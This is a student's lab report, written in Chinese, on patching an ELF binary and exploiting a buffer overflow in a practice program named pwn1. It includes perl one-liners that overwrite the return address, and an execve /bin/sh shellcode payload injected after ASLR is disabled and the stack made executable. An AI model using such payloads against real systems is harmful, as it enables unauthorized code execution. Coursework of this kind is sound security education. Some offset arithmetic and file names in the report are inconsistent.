-
实验目的
掌握ELF可执行文件的机器指令修改方法,理解程序执行流控制原理;
理解缓冲区溢出(BOF)漏洞的原理,掌握通过覆盖返回地址改变程序执行流的攻击方法;
学会构造并注入shellcode,理解漏洞利用的完整流程;
熟练使用gdb、wxHexEditor、WinSCP、execstack等工具。 -
实验环境
主机Windows11物理机;虚拟机:VMware Workstation 17;虚拟机系统:Kali Linux 2024.1(64位,默认安装SSH服务);GDB 13.1;wxHexEditor 0.24;WinSCP 6.23; -
实验内容
任务1:修改pwn1的机器指令,将main函数调用foo的指令改为调用getShell,来触发目标函数;
任务2:利用foo函数的BOF漏洞,构造攻击输入字符串,覆盖返回地址,触发getShell;
任务3:构造一个shellcode并执行。 -
实验步骤
任务1:手工修改程序,跳转至getShell
步骤1:虚拟机文件传输
启动SSH服务,kali终端执行sudo service ssh start。
打开WinSCP,配置连接。
传输pwn1到kali中。
步骤2:反汇编pwn1
进入pwn1目录:通过桌面右键由pwn1打开kali终端。
反汇编:objdump -d pwn20232422 | more,找到getShell地址:0x0804847d。main调用foo的call指令:0x80484b5(机器码是e8 d7 ff ff ff),下一条指令地址0x80484ba。
步骤3:计算并修改偏移量
计算偏移量:getShell地址-下一条指令地址=0x0804847d-0x80484ba=-41,32位补码为0xffffffc3。
复制pwn1避免修改原文件:cp pwn1 pwn20232422.
用vi修改:
在vi内按ESC键,输入:%!xxd将显示模式切换为16进制模式
查找要修改的内容/e8d7
找到后前后的内容和反汇编的对比下,确认是地方是正确的
修改d7为c3
转换16进制为原格式
:%!xxd -r
存盘退出vi :wq
步骤4:验证结果
反汇编验证:objdump -d pwn20232422![6e0740c16192ca068af9d85c142b12f0]
运行pwn2:./pwn2,输入ls验证。
任务2:利用BOF漏洞覆盖返回地址
步骤1:gdb调试确认返回地址位置
启动gdb:gdb pwn20232422;
运行程序并输入测试数据:r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB;
查看寄存器:程序崩溃后执行info r,观察到eip=0x42424242,确认32字节后为返回地址。
步骤2:生成攻击输入文件![f19e8b1b560d34364eeb9461aa50a574]
构造输入:getShell地址(0x0804847d)小端序为\x7d\x84\x04\x08,执行:
perl -e 'print "A"x32 . "\x7d\x84\x04\x08\x0a"' > input;
验证输入内容:xxd input,确认包含32个A及地址0x7d840408。
步骤3:执行BOF攻击
执行命令:(cat input; cat) | ./pwn1;
攻击成功:出现shell,输入ls查看目录文件。
任务3:注入shellcode并执行
步骤1:关闭系统防御
关闭ASLR:sudo sh -c
echo 0 > /proc/sys/kernel/randomize_va_space
验证:cat /proc/sys/kernel/randomize_va_space(输出0);
安装execstack:下载deb包,安装:sudo apt install ./execstack_0.0.20131005-1+b10_amd64.deb;
设置pwn20232422_2堆栈可执行:execstack -s pwn20232422_2,验证:execstack -q pwn20232422_2。
步骤2:构造临时payload找shellcode地址
生成临时payload:
perl -e 'print "A"x32 . "\x01\x02\x03\x04" . "\x90"x10 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x0a"' > input_shellcode
终端1运行payload:(cat input_shellcode; cat) | ./pwn20232422_2
终端2调试找地址:
找进程号:ps -ef | grep pwn20232422_2;
附加gdb:gdb → attach 27728;
设断点:break *0x080484ae→ c;
终端1按回车,终端2执行x/32x $esp,找到NOP区域起始地址。
步骤3:构造最终payload并执行
生成最终payload:
perl -e 'print "A"x32 . "\x20\xd3\xff\xff" . "\x90"x10 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x0a"' > input_shellcode_final
执行攻击:(cat input_shellcode_final; cat) | ./pwn1,成功得到shell,输入ls验证。
-
实验问题及解决
问题1:安装execstack提示无法定位软件包。
解决:浏览器下载execstack的deb包,本地执行安装成功。
问题2:WinSCP连接被拒.
解决:执行sudo service ssh start,再次连接成功。
问题3:在查找e8d7时没查到。
解决:单独搜索d7,因为e8和d7是分隔开的。 -
心得体会
这次实验使我对逆向与BOF的理论有了更深的理解,修改机器指令,构造攻击payload到注入shellcode,体验了控制程序执行流的过程,对课堂知识有了深的理解。
实验初期遇到一些问题:WinSCP连接失败是忘了启动Kali的SSH服务,安装execstack时apt找不到包,最后手动下载deb包才解决。这些小问题让我明白,工具可用性至关重要。操作中,反汇编改机器指令的环节很直观,用objdump定位call指令,vi切换十六进制模式改字节,看着程序成功跳转到getShell,才算懂了机器指令决定执行流程。BOF攻击时,用测试数据让程序崩溃,再通过info r看eip寄存器,才摸清32个A后覆盖返回地址的逻辑;注入shellcode时,一开始混淆了payload结构,反复用gdb调试栈内存才理清。这次实验丰富了我在gdb、vi改十六进制、execstack等工具方面的经验。